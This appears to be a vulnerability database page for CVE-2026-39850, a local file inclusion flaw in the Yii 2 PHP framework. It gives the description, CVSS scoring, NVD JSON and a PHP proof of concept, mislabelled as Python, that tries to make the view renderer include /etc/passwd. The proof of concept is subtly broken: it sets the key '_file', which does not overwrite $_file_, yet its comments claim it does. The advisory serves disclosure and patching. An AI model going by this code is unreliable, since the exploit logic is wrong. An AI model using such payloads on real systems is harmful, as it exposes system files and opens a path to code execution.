Security Vulnerability Report
中文
CVE-2026-39850 CVSS 7.4 HIGH

CVE-2026-39850

Published: 2026-05-20 20:16:40
Last Modified: 2026-05-21 15:24:25

Description

Yii 2 is a PHP application framework. Versions 2.0.54 and prior contain flawed logic in the core view rendering method View::renderPhpFile() that leads to Local File Inclusion. The function calls extract($_params_, EXTR_OVERWRITE) before the require statement that loads the view file. As a result, a caller-controlled _file_ key in the $params array overwrites the internal local variable specifying which file to include, potentially enabling RCE if an attacker can write PHP files through a separate primitive, as well as information disclosure. This issue has been fixed in version 2.0.55.

CVSS Details

CVSS Score
7.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Yii 2 <= 2.0.54

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // Proof of Concept for CVE-2026-39850 // Simulating the vulnerable View::renderPhpFile method in Yii 2 < 2.0.55 function vulnerableRender($_file_, $_params_ = []) { // The vulnerability occurs here: // extract() imports variables from the array into the current symbol table. // EXTR_OVERWRITE means if there is a collision, overwrite the existing variable. extract($_params_, EXTR_OVERWRITE); // If $_params_ contained a '_file' key, $_file_ is now overwritten by the attacker. // The following require will then include the attacker's file. if (is_file($_file_)) { require $_file_; } else { echo "Error: File not found or overwritten."; } } // Exploitation Scenario $legitimate_view = '/var/www/html/views/site/index.php'; // Attacker controlled parameters // The key '_file' overwrites the $_file_ argument in vulnerableRender $malicious_params = [ 'content' => 'hello', '_file' => '/etc/passwd' ]; // Trigger the vulnerability // Instead of rendering the view, it reads /etc/passwd vulnerableRender($legitimate_view, $malicious_params); ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39850", "sourceIdentifier": "[email protected]", "published": "2026-05-20T20:16:39.850", "lastModified": "2026-05-21T15:24:25.330", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Yii 2 is a PHP application framework. Versions 2.0.54 and prior contain flawed logic in the core view rendering method View::renderPhpFile() that leads to Local File Inclusion. The function calls extract($_params_, EXTR_OVERWRITE) before the require statement that loads the view file. As a result, a caller-controlled _file_ key in the $params array overwrites the internal local variable specifying which file to include, potentially enabling RCE if an attacker can write PHP files through a separate primitive, as well as information disclosure. This issue has been fixed in version 2.0.55."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://github.com/yiisoft/yii2/commit/109878b491dbffa541032bc99fb5e26d12cd0375", "source": "[email protected]"}, {"url": "https://github.com/yiisoft/yii2/security/advisories/GHSA-5vpg-rj7q-qpw2", "source": "[email protected]"}]}}